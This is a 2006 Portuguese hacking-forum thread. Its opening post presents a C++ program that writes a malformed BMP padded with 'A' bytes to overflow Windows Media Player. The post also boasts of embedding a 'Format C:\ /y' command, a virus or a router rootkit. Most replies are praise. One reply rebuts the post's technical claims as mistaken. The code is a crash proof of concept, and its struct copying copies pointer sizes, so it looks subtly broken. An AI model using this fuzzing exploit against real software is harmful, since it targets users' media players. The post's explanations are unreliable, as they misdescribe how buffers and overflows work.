FORUM DARKERS

Segurança & Hacking => Bugs | Exploits | Vulnerabilidades => Topic started by: Anonymous on 26 de March , 2006, 09:24:18 PM

Title: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Anonymous on 26 de March , 2006, 09:24:18 PM
Boa Noite Darkers? Tudo Bem .. Bom quem digita aqui é o seu amigo Ricardo ou Antigo Apoc4lipse

Como vocês devem ter percebidos já faz muito tempo que eu não posto nada aqui nem comentarios mais então hoje eu estou postando aqui pelo simples motivos até diria uma unica palavra - Compartilhar - Antes de Iniciar minha Materia

Vou Explicar o motivo do porque eu desapareci :

Vamos Lá

1 - Trabalho Gente estou trabalhando e isso toma muito do meu tempo na semana então não tenho como dar atenção devida ao forum

2 - Ausencia da parte do forum eu até começei uma vez a dar aulas de Threads aqui no forum mais a ausencia do pessoal quando a interrese real começou a me desmotivar a não postar mais nada afinal analisem
são muitos usuarios competentes neste forum algums a grande maioria amigos meus .. mais tirando uma parte por uma lado vem uma outra que não esta afim de trocar experiencias e sim apenas ler sem dar o credito que seria o comentario ..

resumindo eu dei uma "parada" por falta de comentarem mais tudo bem isto é um outro assunto

O que eu vim tratar aqui é a minha descoberta alias minha não de um outro haxor que não conheço que fez a descoberta e eu modifiquei o exploit afim de obter mais poder bom vamos ao assunto :

O que venho lhe falar é de um metodo que desenvolvi ( Não sei se ja existia mais se já tudo bem apenas quero passar conhecimento ) o metodo consiste na exploração do buffer ( Mémoria ) do software Windows Media Player
Através de um bug conhecido como

"Reciprocidade de Mémoria" ou seja a memoria se deixa ser Invadida e Modificada isso é pessimo amigos pois com o exploit que demonstrarei eu apenas insiro caracteres ascii mais eu poderia colocar um vírus inteiro dentro ou talvez strings maliciosas quem sabe :P

Bom teoricamente é assim que funciona .. asseguro-lhes que esse material não existe em outro lugar fora o que estou postando aqui deve existir mais que cubram menos não como vou cobrir agora e se tiver seram em ingles então poupem - me de falar que copiei algo ou etc...

Bom Darkers vamos a explicação

PARTE 1 - Entendendo o Buffer

Imaginem agora neste momento como um software é construido ele é feito de ... Códigos Obviamente + também de espaço no disco .. hum.. tbm espaço na mémoria correto??

agora imaginem que a mémoria dele deveria ser fechada a ele não acham?
somente para ele acessar .. pois é ai que se enganam .. o Media Player é Vulneravel a ponto de se deixar escrever dentro de sua mémoria de alocação ou seja o buffer interno que guarda TODA a musica dentro dele

Muitos agora imaginam o "BUFFERING..." Isto mesmo quando ele está fazendo isso Buferizando quer dizer que ele está subindo a musica inteira para dentro da mémoria dele para poder manipula-la ou seja exibir os quadros ( video ) ou ( descodificar ) no caso musica . claro aos poucos para o usuario mais certo todos vocês leitores devem pensar

Mais Ricardo o buffer é protegido correto? eu retruco com a seguinte frase "NÃO A MICRO$ Não coda buffer seguro" Então o que vamos fazer é se aproveitar dessa falha e explorar - lo

PARTE 2 Entendendo o Exploit

Bom na parte 2 eu diria que vamos aprender a usar meu exploit..
Detalhe : O Exploit que vou mostrar a vocês fui responsavel 100% pela codificação mais tirando de base outro exploit que servia para explorar uma outra falha

Bom o exploit é esse ->


#include <windows.h> //Ambiente
#include <process.h> //Manipulação de Processos..
#include <iostream>  //Padrão de Escrita/Saida C++

#include <stdio.h>   //Padrão de Escrita/Saida C
#include <string.h>  //Manipulações de Strings

using namespace std;

               
//Definição do Tamanho do Arquivo

#define NOME_ARQ_BUGADO  "ArqBugado_ricWMP.bmp"
//Nome do Arquivo Bugado


class Expl_WMP       
//Classe de Exploração usada pelo Exploit

{
public:

WORD  BMTipo;          //Tipo de BM
DWORD BMTam;           //Tamanho do BM
WORD  BMReser1;        //Byte Reservado1

WORD  BMReser2;        //Byte Reservado2
DWORD BMBits;          //Bits Extra

void CriaPonteiragem();

};

class Expl_BMPAtrib        //Classe de Exploração usará os Atributos
{
public:

DWORD  BTamanho;       //Tamanho do Atributo
LONG   bAltura;        //Altura  do Atributo
LONG   bLargura;       //Largura do Atributo
WORD   bPla;           //Planejamento
WORD   bBContador;     //Contador
DWORD  bCompresao;     //Compressão
DWORD  bTamanhoImagem; //Tamanho
LONG   bPixelMedidorX; //Medição em Pixel X
LONG   bPixelMedidorY; //Medição em Pixel Y
DWORD  biUsado;        //TUsados
DWORD  biImportante;   //Bits Importantes

};

int main( void )
{
FILE *Arquivo;
//Ponteiro para Arquivo

//Alocação no Heap para Manipular Classe Criada
Expl_WMP      *bmp_W   = new Expl_WMP;
Expl_BMPAtrib *bmp_Atr = new Expl_BMPAtrib;

    char *BufferArquivo; //Buffer(Área de Mémoria) do Arquivo

Arquivo = fopen( NOME_ARQ_BUGADO, "w+b" );

//Cria um Arquivo Usando os Criterios de Avaliação
//Propostos pela Definição NOME_ARQ_BUGADO

if( !Arquivo ) //Testa se Arquivo foi Criado
{
cout<<"Arquivo N Pode ser Criado Erro Fatal !!"<<endl;
exit(1);

//Caso não Consigamos Criar .. Finaliza Exploit.

}

BufferArquivo = (char*)malloc( 0xA8D2 );
memset( BufferArquivo, 0x41, 0xA8D2 );

//Define o Tamanho Injetado dentro do Arquivo

bmp_W->BMTipo           = 0x4D42;
bmp_W->BMTam            = 0xA8D2;

bmp_W->BMReser1         = 0x00;
bmp_W->BMReser2         = 0x00;
bmp_W->BMBits           = 0x00;

bmp_Atr->BTamanho       = 0x28;
bmp_Atr->bAltura        = 0x91;
bmp_Atr->bLargura       = 0x63;
bmp_Atr->bPla           = 0x01;
bmp_Atr->bBContador     = 0x18;
bmp_Atr->bCompresao     = 0x00;

bmp_Atr->bTamanhoImagem = 0xA89C;
bmp_Atr->bPixelMedidorX = 0x00;
bmp_Atr->bPixelMedidorY = 0x00;
bmp_Atr->biUsado        = 0x00;
bmp_Atr->biImportante   = 0x00;

memcpy( BufferArquivo, bmp_W, sizeof( bmp_W ));
memcpy( BufferArquivo+sizeof(bmp_W), bmp_Atr, sizeof( bmp_Atr ));

fwrite( BufferArquivo, 0xA8D2-1, 1, Arquivo );
fwrite( "\x00", 1,1, Arquivo );
//Escreve dentro do arquivo as modificações
//feitas especialmente para que componham a imagem

fclose( Arquivo );
cout<<"Arquivo Bugado Criado..."<<endl;

}


Bom analizando o voces perceberam que eu vou usar uma Imagem .BMP para fazer a infecção do buffer vamos lá
vou explicar o funcionamento completo do meu exploit...

Primeiramente ele cria um codigo que vai alocar memoria dentro de uma classe criada por min que vai encapsular o pradrão de um bmp e jogar dentro dele simples "A" Sim isso mesmo letra A vou Desculpe a expresão "Foder" o Windows Media Player com "A"s hahaha Mais então

Vamos lá apos criar a imagem cheia de As ele vai alocar dentro de uma mémoria especial .. chamada HEAP Muitos devem conheçer e dentro dela passar o meu codigo de As para o nosso ALVO :)

http://img61.imageshack.us/my.php?image=bugggg6qr.jpg (http://img61.imageshack.us/my.php?image=bugggg6qr.jpg)

Bom Amigos do Darkers isso é tudo e lembrem - se

"Nada é Seguro Nessa !@#!$! de Informatica"


=============================
Ricardo Silva de Barros ( Apoc4lipse )
Sinapse Elite Coders.
http://sinapse.plughackers.net (http://sinapse.plughackers.net)
=============================
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: Anonymous on 26 de March , 2006, 09:29:18 PM
Primeira vez que vejo malguem que explica quase todo e exploit muito bom parabéns !
Putz...Muito bom !
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Anonymous on 26 de March , 2006, 09:31:53 PM
Nossa cara Mto bom !!!!

Sinceramente se eu fosse admin te dava até 2 pontos positivos !!

ahhuahuahua

teh +

;)
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Billy0 on 26 de March , 2006, 10:16:05 PM
Cara mando mto bem...
parabens!!
Ve se post mais desses daí!
vlw...
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: Anonymous on 26 de March , 2006, 10:38:41 PM
Mano, você a cada dia melhora em coding e exploração cara, vou tentar testar, ai edito o post =]
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: DarkGenesis on 26 de March , 2006, 10:46:31 PM
Arrazou Apoc4.

PONTO POSITIVO pelo seu trabalho e dedicação.
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Shady on 27 de March , 2006, 01:30:42 AM
Grande apoc... meu c++ nem serve pra entender seu codigo brother = / mas como voce sabe tou me dedicando ;)

 Pessoal, aproveitem, isso e raro =P
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Cloudy on 27 de March , 2006, 01:46:32 PM
Tsc tsc tsc..

Ricardo, muito foda mano. Por essas e outras que te adimiro pra caramba.

...by Cloudy
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: Fox on 27 de March , 2006, 03:10:31 PM
Cara, perfeito ...excepcional! Parabéns mesmo!
E concordo com você quando disse que desanima quando agente cria um topico e ninguem comenta...tira a motivação ne!

Cara,...se der posta alguns comandos que podem ser colocados nesse exploit.
Mas de boa....parabens pra voce.
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: locator.dll on 27 de March , 2006, 04:31:11 PM
Apoca, minha opinião se mantém..

Sem dúvida vc é uma das grandes promessas de programação...

Como sempre, tenho grande respeito por vc...

Parabéns..

vlw

locator.dll
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: Mental_Way on 30 de March , 2006, 08:01:53 PM
Ainda sou iniciante, porém sei reconhecer quem é realmente bom...

Muito bom... e continue assim...

Um dos exploits mais explicados que já vi... e mandou muito bem em divulgar...

Fui...
By Mental_Way...
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: branco on 02 de April , 2006, 11:39:06 PM
po nao fala 'mau' da micro porque daqui a poko vao te xama pra trabalhar pra eles  ;) ta rox, vlw
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Anonymous on 04 de April , 2006, 05:37:25 AM
heuheiahauei bmp dentro do wmp ^^

mas po, eles devem ter algum motivo neh? axo q eles fizeram d proposito... mas tb ... tem chance de ter sido um erro de programaçao... mas mesmo assim, axu q fizeram o xp com seus bugs, q foram sendo descobertos com o tempo, dai eles podem fazer otro OS e fala 'esse daki nd entra' e pronto heuihiae

mas ... ^^ axo q vc n devia t divulgado o bug aki, sl, vaum faze patch do mp, ou intaum otra versaum.. =/

mas blz
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Anonymous on 07 de April , 2006, 11:55:00 AM
Mto bom!!! Parabéns mesmo!!!!
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: _Dr4k0_ on 26 de May , 2006, 06:38:28 PM
Simpleste ele é o CARA ficou perfeito..tanto o exploit..quanto a explicação C++ é uma linguagem linda mesmo..
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: _Dr4k0_ on 31 de May , 2006, 04:52:03 PM
QuotePARTE 1 - Entendendo o Buffer

Imaginem agora neste momento como um software é construido ele é feito de ... Códigos Obviamente + também de espaço no disco .. hum.. tbm espaço na mémoria correto??

agora imaginem que a mémoria dele deveria ser fechada a ele não acham?
somente para ele acessar .. pois é ai que se enganam .. o Media Player é Vulneravel a ponto de se deixar escrever dentro de sua mémoria de alocação ou seja o buffer interno que guarda TODA a musica dentro dele


Mais Ricardo o buffer é protegido correto? eu retruco com a seguinte frase "NÃO A MICRO$ Não coda buffer seguro" Então o que vamos fazer é se aproveitar dessa falha e explorar - lo

- Software nao sao feitos de espaco no disco, ele ocupa espaco no disco, e eh claro ocupara espaco na memoria ram uma vez carregado.

- Memoria sendo fechada? nao entendi. e nao tem logica. "memoria nao se fecha" nao achamos? nao te entendemos!

- Buffer protegido, a protecao de um buffer na memoria nao tem nada haver com buffer overflow, e sim protecao de pagina contra acesso, o que protege buffers sao checagems de limites e sob-escrita.

- Incorreto a microsoft faz o que pode pra "proteger seus programas contra buffer overflow".



Vamos lá apos criar a imagem cheia de As ele vai alocar dentro de uma mémoria especial .. chamada HEAP Muitos devem conheçer e dentro dela passar o meu codigo de As para o nosso ALVO Smiley  O Windows Media Player

bom acho q entenderam .. não é?

- Hmm As nao serverm pra nada, nao te entendo! haha.



Agora imaginem se eu resolvo Colocar ... "Format C:\ /y" Ai quando um "TROUXA" Executar o Arquivo BUGADO Vai ter seu Pc Formatado TOTALMENTE pela incopetencia de uma EMPRESA de softwares Francamente Não?

Vamos ser mais Maldosos até .. e se eu resolvo Meter um Link pra meu VÍRUS favorito Vírus não que isso é ultrapassado para a era atual e se eu meto um ROOT KIT Nivel 3 que invade o Roteador do Usuario eu o Possuo por isso posso dizer é poderoso os novos "Vírus"

Bom Gente isso foi apenas uma "Grande" Amostra do Poder do Codigo C++ Agora tirem suas Conclusões


- Se vc colocar a string "Format C:\ /y" no buffer de um procedimento de leitura do WMP nada ira acontecer, pq essta string nao sao instrucoes de execucao.

- a mesma coisa se vc meter um link nada ira acontecer.

- Como vc invade um roteador? hehe

=============================
Ricardo Silva de Barros ( Apoc4lipse )
Sinapse Elite Coders.
http://sinapse.plughackers.net (http://sinapse.plughackers.net)
=============================

- hm papai noel existe "Sinapse Elite Coders."



 

o que um amigo meu achou
By: ccoder
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: locator.dll on 31 de May , 2006, 05:33:40 PM
Não entendi o intuito desse post...

Explique-se...

vlw

locator.dll
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: Symersky on 31 de May , 2006, 06:03:58 PM
Simplesmente..
Ó T I M O !

Parabéns Ricardo ;D
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: Anonymous on 05 de June , 2006, 01:25:08 AM
Quote from: "locator.dll"Não entendi o intuito desse post...

Explique-se...

vlw

locator.dll

Realmente o entuito do post nao esta claro sem que tenha uma certa discordancia entre o autor do topico e eu, bom eu achei uns erros no texto dele e comentei sobre os mesmos...
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Shady on 05 de June , 2006, 01:37:18 PM
Acho que quando o ricardo disse "colocar a string "Format C:\ /y" no buffer" ele quis dizer "colocar o shellcode relativo a esta instrucao", mas de forma mais simples pra que todos pudessem entender.
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: Anonymous on 05 de June , 2006, 04:28:07 PM
Isto ai shady.. :)
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Anonymous on 05 de June , 2006, 06:30:28 PM
Quote from: "Shady"Acho que quando o ricardo disse "colocar a string "Format C:\ /y" no buffer" ele quis dizer "colocar o shellcode relativo a esta instrucao", mas de forma mais simples pra que todos pudessem entender.

Ai pioraria, pq "Format C:\ /y" nao tem nenhum "shellcode" relativo a esse *comando, pq nao eh uma instrucao. recomendo rever seus conceitos, shellcode quer dizer codigo que abra um shell. aquela string nao eh um shellcode. nem existe instrucao para tao "comando".
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Shady on 05 de June , 2006, 06:34:33 PM
Existe o que o comando faz em si. Ele apenas disse numa linguagem que todos entenderiam. Ele poderia escrever um shellcode para apagar arquivos, esta e a ideia, ccoder.
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Barros
Post by: Anonymous on 05 de June , 2006, 07:33:25 PM
Quote from: "Shady"Existe o que o comando faz em si. Ele apenas disse numa linguagem que todos entenderiam. Ele poderia escrever um shellcode para apagar arquivos, esta e a ideia, ccoder.
Nao quero saber qual foi a ideia por traz da ideia, ele falou bem claro, "colocar a string no buffer" isso nao eh especifico e nao eh uma solucao para formatar uma particao,  o que o comando faz isso no interpretador de comandos CMD.EXE(o atual) eh chamar o programa format passando argumentos para o mesmo. O correto seria se ele falasse "Colocarei codigo arbritario para formatar uma particao", ou "colocarei a string na stack e chamarei uma sub-procedure para executar o determinado comando". existe uma diferenca clara, admita que somente colocar "a string dentro do buffer" nao fara nada. e quem  entendeu que isso "formataria uma maquina" apredeu errado.
Title: Re: Causando BufferOverFlow No Windows Media Player em 3 Passos By Ricardo S.Bar
Post by: Anonymous on 17 de June , 2006, 11:19:33 AM
pow sou novão aqui nesse forum mais ja cheguei lendo umas paradinhas legalz fuix